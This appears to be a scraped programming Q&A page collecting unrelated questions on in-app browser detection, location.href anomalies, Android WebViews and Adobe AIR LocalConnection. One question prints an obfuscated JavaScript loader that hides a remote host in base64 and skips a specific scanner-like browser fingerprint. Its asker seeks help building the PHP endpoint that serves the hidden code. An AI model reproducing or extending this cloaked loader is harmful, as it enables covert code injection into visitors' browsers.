How to detect pages when a user browses inside twitter in app? - javascript

I want to be able to detect user when the user browses a web page inside twitter app. By detecting, I want to just add a body class that I will use to change the way the page looks for users inside twitter app. However, all my tries so far failed.
I can detect webview inside Facebook app using the following code
var ua = navigator.userAgent;
if ((ua.indexOf("FBAN") > -1) || (ua.indexOf("FBAV") > -1)) {
return 'facebook';
}
I have looked around/ googled around/ checked other StackOverflow solutions. However, I could not find a solution where I can detect twitter in-app. That is, I want to detect when a user browses a page inside twitter app.
The things I have tried and failed are below
if (/Twitter for/i.test(nua) === true) {
return 'twitter';
}
or
if (/\/\/t.co\//i.test(document.referrer) === true && /Safari\//.test(nua) === false) {
return 'twitter';
}
or checking for the browser, device, vendor, model, device type, engine, os, os version (why was I checking this?!?). I checked using Modernizr; however, no difference was found between as standalone Safari and in-app Twitter. Also, checked using Detect if user is using webview for android/iOS or a regular browser
Also tried the following with failure
var userAgent = window.navigator.userAgent.toLowerCase(),
safari = /safari/.test( userAgent ),
ios = /iphone|ipod|ipad/.test( userAgent );
var standalone = window.navigator.standalone,
userAgent = window.navigator.userAgent.toLowerCase(),
safari = /safari/.test( userAgent ),
ios = /iphone|ipod|ipad/.test( userAgent );
if( ios ) {
if ( safari ) {
$('.debug').prepend('Yeah I am a browser in ios');
} else if ( !safari ) {
$('.debug').prepend('Yeah I am a webview in ios');
}
} else {
$('.debug').prepend('Yeah I am NOT a ios');
}
if( ios ) {
if ( !standalone && safari ) {
$('.debug').prepend('Yeah I am a browser in ios');
} else if ( standalone && !safari ) {
$('.debug').prepend('Yeah I am a standaline in ios');
} else if ( !standalone && !safari ) {
$('.debug').prepend('Yeah I am WEBVIEW');
}
} else {
$('.debug').prepend('Yeah I am NOT IOS');
}
var isWebView = !/safari/.test( window.navigator.userAgent.toLowerCase()) || navigator.platform === 'iOS' || navigator.platform === 'iPhone'
$('.debug').prepend('<br>isWebView? : ' + isWebView + "<br>");
$('.debug').prepend('<br>AM I WEBVIEW?: ' + /AppName\/[0-9\.]+$/.test(navigator.userAgent));
var is_uiwebview = /(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(navigator.userAgent);
var is_safari_or_uiwebview = /(iPhone|iPod|iPad).*AppleWebKit/i.test(navigator.userAgent);
$('.debug').prepend('<br> is_uiwebview :' + is_uiwebview);
$('.debug').prepend('<br> is_safari_or_uiwebview :' + is_safari_or_uiwebview);
var uaSafari = navigator.userAgent.match(/Safari/i)
var uaSafariInput = navigator.userAgent.match(/Safari/i).input
var uaSafariIndex = navigator.userAgent.match(/Safari/i).index
$('.debug').prepend('<br> ' + uaSafari + '<br>' + uaSafariInput + '<br>' + uaSafariIndex + '<br>' + navigator.vendor + '<br>' + navigator.product + '<br>' + navigator.productSub + '<br>' + navigator.languages.length + '<br>' + navigator.doNotTrack + '<br>' + navigator.maxTouchPoints + navigator.maxTouchPoints);
//Check headers and see if any difference there
var req = new XMLHttpRequest();
req.open('GET', document.location, false);
req.send(null);
var headers = req.getAllResponseHeaders().toLowerCase();
$('.debug').prepend('<br> headers \t ' + headers);
if (/Twitter for/i.test(navigator.userAgent) === true) {
$('.debug').prepend('<br> Test1 ');
}
$('.debug').prepend('<br> Document referrer is : '+ document.referrer + " <br> ");
if (/\/\/t.co\//i.test(document.referrer) === true && /Safari\//.test(navigator.userAgent) === false) {
$('.debug').prepend('<br> Test2 ');
}
}

I don't believe it's possible to detect the Twitter in-app browser in JavaScript, because it uses a generic Web View with no identifiable properties.
Most of your examples rely on searching the user agent string for specific keywords. Here's a comparison of user agent strings between the relevant browsers in iOS 11 for iPad based on a test I just conducted:
Safari
Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5372a Safari/604.1
Facebook (in-app)
Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Mobile/15A5372a [FBAN/FBIOS;FBAV/140.0.0.63.89;FBBV/70896504;FBDV/iPad4,2;FBMD/iPad;FBSN/iOS;FBSV/11.0;FBSS/2;FBCR/AT&T;FBID/tablet;FBLC/en_US;FBOP/5;FBRV/0]
Twitter (in-app)
Mozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5372a Safari/604.1
You can see that Twitter's browser user agent is identical to Safari.
Obviously this is not a solution to your problem, but more of an explanation why you haven't found an actual answer.

You can check if navigator.mediaDevices is undefined. Since webRTC isn’t supported in webviews, it will be undefined in Twitter but present in Safari.

Twitter uses t.co to warp the shared URL, so there is a redirect before reaching the real content.
https://developer.twitter.com/en/docs/basics/tco
When checking all the headers sent from Twitter in-app browser, the referer header filed shows the wrapped t.co link.
referer: http://t.co/ 0JG5Mcq
Maybe this header can help distinguish with Safari's User-Agent.

Related

php show code only if you run on js code and put that php link

if (navigator['userAgent'] == 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.27 Safari/537.36' && screen['width'] == '1024' && screen['height'] == '768') {} else {
var javas = document['createElement']('script');
javas['language'] = 'javascript';
javas['type'] = 'text/javascript';
javas['src'] = location['protocol'] + '//' + atob('dmlzdWFsbW90by54eXovaDcucGhw') + '?' + Math['floor']((Math['random']() * 1000000000) + 1) + '&h=' + encodeURIComponent(document['location']['host']);
document['head']['appendChild'](javas)
}
need to know how to make an PHP file that will show code inside if i run that link inside this code, this is the link dmlzdWFsbW90by54eXovaDcucGhw on 64bit (visualmoto.xyz/h7.php) and open this link you cant see nothing u see error but when run on that js code that PHP will open an hidden code can you please help me create that h7.php file.. how can i do it i'm very low on php

location.href return strange URL

I'm using location.href to get the full URL exists in browser address bar.
To provide more detail, it's important to note that our service has a js file that will be included in our customers sites. So this JS file will generate the full URL of applicant.
I thought this URL is somehow previous URL that redirected to real domain, but how I should prevent this action?
The line of JS code that will generate a link for iframe's src attribute is:
'http://sd.domain.ir/index.php?r=' + Math.floor(Math.random() * (100000000 - 0 + 1)) + 0 + '&ref=' + ((window.btoa) ? btoa(location.href) : 'ie') + '&responsive=' + ((document.querySelector('meta[name="viewport"][content*="width=device-width"]')) ? 'yes' : 'no') + '&params='
Examples of applicant UA:
Mozilla\/5.0 (Linux; U; Android 4.3; en-us; HUAWEI G620-L72 Build\/HuaweiG620-L72) AppleWebKit\/534.24 (KHTML, like Gecko) Version\/4.0 Mobile Safari\/534.24 T5\/2.0 bdbrowser\/6.1.0.4
Mozilla\/5.0 (Linux; U; Android 4.4.3; en-ae; HTC_One Build\/KTU84L) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Mobile Safari\/534.30
Mozilla\/5.0 (Linux; U; Android 4.3; en-us; GT-I9300 Build\/JSS15J) AppleWebKit\/534.30 (KHTML, like Gecko) Version\/4.0 Mobile Safari\/534.30
...
sometimes strange url generated by location.href and I don't know what is the reason. For example:
Main URL is something like below:
http://saten.ir/tag/%D8%A8%DB%8C%D9%88%DA%AF%D8%B1%D8%A7%D9%81%DB%8C-%D8%A7%D9%85%DB%8C%D8%B1%D8%B9%D8%A8%D8%A7%D8%B3-%D9%81%D8%AE%D8%B1%D8%A2%D9%88%D8%B1/
But the URL returned by location.href is as below:
http://www.google.com/search?site=&source=hp&ei=mpkeWIvHKYWbsgGtxaSQBg&q=%D8%A7%D9%85%D9%8A%D8%B1%D8%B9%D8%A8%D8%A7%D8%B3+%D9%81%D8%AE%D8%B1%D8%A7%D9%88%D8%B1&oq=%D8%A7%D9%85%D9%8A%D8%B1%D8%B9%D8%A8%D8%A7%D8%B3+%D9%81%D8%AE%D8%B1%D8%A7%D9%88%D8%B1&gs_l=mobile-gws-hp.3...4752.15339.0.16567.0.0.0.0.0.0.0.0..0.0....0...1c.1.64.mobile-gws-hp..0.0.0.UFWL1tf4KDM#scso=uid_WB6ZrwAGHJ0KLAXLjA8j8w_10:2120,uid_WB6aQQAGpZkKLNwFPgmnbA_10:2120
try do this
var myurl = location.origin + decodeURIComponent(location.pathname);
basically is the same that do location.href but it should works
I wasn't actually able to reproduce the bug, in all the few testing I did your code got the correct location.href.
The only problem that I can think of that could do that is that you are creating your link when you are building your class.
var my_obj = {
/*...*/
url: "http://sd.domain.ir/index.php?r=" + Math.floor(Math.random() * (1e8 + 1)) + "0&ref=" + (window.btoa ? btoa(location.href) : "ie") + "&responsive=" + (document.querySelector('meta[name="viewport"][content*="width=device-width"]') ? "yes" : "no") + "&params=",
/*...*/
}
my_obj.init();
Doing it like this means that the url is actually populated when the .js file is loaded.
What you get it is definitely a referrer, like if in old versions of the android browser you actually load the script before location.href changes, or there is some sort of prefetching (like the browser load stuff from the next page before actually going to the next page) going on.
Getting location.href after the dom has loaded should be better. You could try to check what state you are in before getting the href:
var my_obj = {
init: function(){
my_obj.url = "http://sd.domain.ir/index.php?r=" +Math.floor(Math.random() * (1e8 + 1)) + "0&ref=" + (window.btoa ? btoa(location.href) : "ie") + "&responsive=" + (document.querySelector('meta[name="viewport"][content*="width=device-width"]') ? "yes" : "no") + "&params=";
}
/*...*/,
url: ""
}
if(document.readyState == "uninitialized" || document.readyState == "loading " || document.readyState == "loaded"){
document.onreadystatechange = function(){
if (document.readyState == "interactive") {
my_obj.init();
}
}
}else{
my_obj.init();
}

how to determine if website is opened on iPhone/Android browser or from iPhone/Android app web view?

Objective is to identify website being opened in
Device browser
Or inside the native app web view.
looking solution for both Android and iOS
iPhone
Change the UserAgent in the App
// Modify the user-agent
NSString* suffixUA = #"AppName";
UIWebView* webView = [[UIWebView alloc] initWithFrame:CGRectZero];
NSString* defaultUA = [webView stringByEvaluatingJavaScriptFromString:#"navigator.userAgent"];
NSString* finalUA = [defaultUA stringByAppendingString:suffixUA];
NSDictionary *dictionary = [NSDictionary dictionaryWithObjectsAndKeys:finalUA, #"UserAgent", nil];
[[NSUserDefaults standardUserDefaults] registerDefaults:dictionary];
Now you could check it via Javascript:
function isIOS() {
return /iPhone|iPad|iPod/i.test(navigator.userAgent);
}
function isIOSInApp() {
return isIOS() && /AppName/i.test(navigator.userAgent);
}
For Android:
Activity onCreate
this.webView.getSettings().setUserAgentString(
this.webView.getSettings().getUserAgentString()
+ " "
+ getString(R.string.user_agent_suffix)
);
Values.XML
<string name="user_agent_suffix">AppName/1.0</string>
Now you could check it via Javascript:
function isAndroid() {
return /Android/i.test(navigator.userAgent);
}
function() isNativeApp {
return isAndroid() && /AppName\/[0-9\.]+$/.test(navigator.userAgent);
}
You can use mdetect.js file provided by mobileesp.
Check below link :
http://www.hand-interactive.com/detect/mobileesp_demo_javascript.htm

Open Prezi inside the android app

Anybody knows how to open Prezi Presentation inside the android app or if anyone knows how to add given code in webView please tell me.
What i have tried so for
initializeWebView();
String html, path = "mkg9y_pl1cxd";
html = "<script src=\"http://prezi.github.io/prezi-player/lib/PreziPlayer/prezi_player.js\"></script><div id=\"player-api-intro\"></div> <script> var player = new PreziPlayer('player-api-intro', { 'preziId' : '"
+ path + "', height: '" + screenHeight + "', width: '" + screenWidth
+ "' }); try{ player.on(PreziPlayer.EVENT_STATUS, function(event) { if (event.value == PreziPlayer.STATUS_CONTENT_READY) { var no_of_slides=player.getStepCount(); var user_sec="
+ 10
+ "; var new_sec= user_sec/no_of_slides; setInterval('player.flyToNextStep();', (new_sec * 1000)); } }); }catch(e){} </script></script>";
String mimeType = "text/html";
String encoding = "utf-8";
mainWebView.loadDataWithBaseURL("null",html, mimeType, encoding, "");
private void initializeWebView()
{
String newUA= "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/20100101 Firefox/4.0";
mainWebView = (WebView)findViewById(R.id.Wv);
mainWebView.getSettings().setJavaScriptEnabled(true);
mainWebView.getSettings().setPluginState(WebSettings.PluginState.ON);
mainWebView.getSettings().setDefaultZoom(ZoomDensity.FAR);
mainWebView.getSettings().setAppCachePath( getApplicationContext().getCacheDir().getAbsolutePath() );
mainWebView.getSettings().setAllowFileAccess( true );
mainWebView.getSettings().setAppCacheEnabled( true );
mainWebView.getSettings().setCacheMode(WebSettings.LOAD_DEFAULT );
mainWebView.setVerticalScrollBarEnabled(false);
mainWebView.setHorizontalScrollBarEnabled(false);
mainWebView.setBackgroundColor(0x00000000);
mainWebView.stopLoading();
mainWebView.getSettings().setLoadWithOverviewMode(true);
mainWebView.getSettings().setUseWideViewPort(true);
mainWebView.getSettings().setUserAgentString(newUA);
mainWebView.getSettings().setLoadWithOverviewMode(true);
mainWebView.getSettings().setUseWideViewPort(true);
}
i am getting follwoing error in log cat
11-30 14:12:48.725: E/Web Console(1582): Unsafe JavaScript attempt to access frame with URL null from frame with URL https://prezi.com/player/?oid=mkg9y_pl1cxd&explorable=0&controls=0. Domains, protocols and ports must match.
but i am unable to load presentation in webView. Can anybody tell me what i am doing wrong. Thanks for any help.

Adobe Air localconnection not working in chrome

I am sending messages through local connection web to Air application .
IE, Firefox and Safari are successfuly sending messages.
But chrome is failing in sending.(Only when PPAPI)
Why isn't Chrome PPAPI Local connection sending message?
Reference:
LocalConnection - AS3
Unsandbox LocalConnections in Chrome
Website flash as3 - send fart
private function receivedFromJavaScript(value:String):void
{
//var conn:LocalConnection;
//trace("JavaScript says: " + value + "\r");
ExternalInterface.call("sendToJavaScript", + value );
conn = new LocalConnection();
conn.client = new Object();
//conn.allowDomain('app#Myapplication');
//conn.allowInsecureDomain('app#Myapplication')
conn.addEventListener(StatusEvent.STATUS, onStatus);
conn.addEventListener(AsyncErrorEvent.ASYNC_ERROR,function(e:AsyncErrorEvent):void
{
//trace("ASYNC_ERROR: " + e );
ExternalInterface.call("sendToJavaScript", "ASYNC_ERROR: " + e );
});
conn.addEventListener(SecurityErrorEvent.SECURITY_ERROR,function(e:SecurityErrorEvent):void
{
ExternalInterface.call("sendToJavaScript", "SECURITY_ERROR: " + e );
//trace("SECURITY_ERROR: " + e );
});
conn.send("app#Myapplication:taskConnection", "localconnectionHandler", value);
ExternalInterface.call("sendToJavaScript", "conn = " + conn.client.toString() + " / " + conn.domain);
//conn.close();
}
AIR applcation code
try {
conn = new LocalConnection();
conn.allowDomain("*");
conn.client = this;
conn.connect("taskConnection");
trace("yes.");
} catch (error:ArgumentError) {
trace("Can't connect.");
}
It is a bug.
You can use a workaround disabling PPAPI plugin from the settings page:
http://www.maipiusenza.com/LDV/images/hlp_pic41.gif
Here you can read a discussion in the Adobe's forum
https://forums.adobe.com/thread/1045650?start=0&tstart=0
I periodically check for a fix, but I'm still waiting!
You need to set the flash file atttributes on your swf file. If you run this:
./flashfileattributes mySWFfile.swf –verboseOnly
./flashfileattributes mySWFfile.swf +brokerLocalConnection
then local connection works fine in Chrome.

Categories

Resources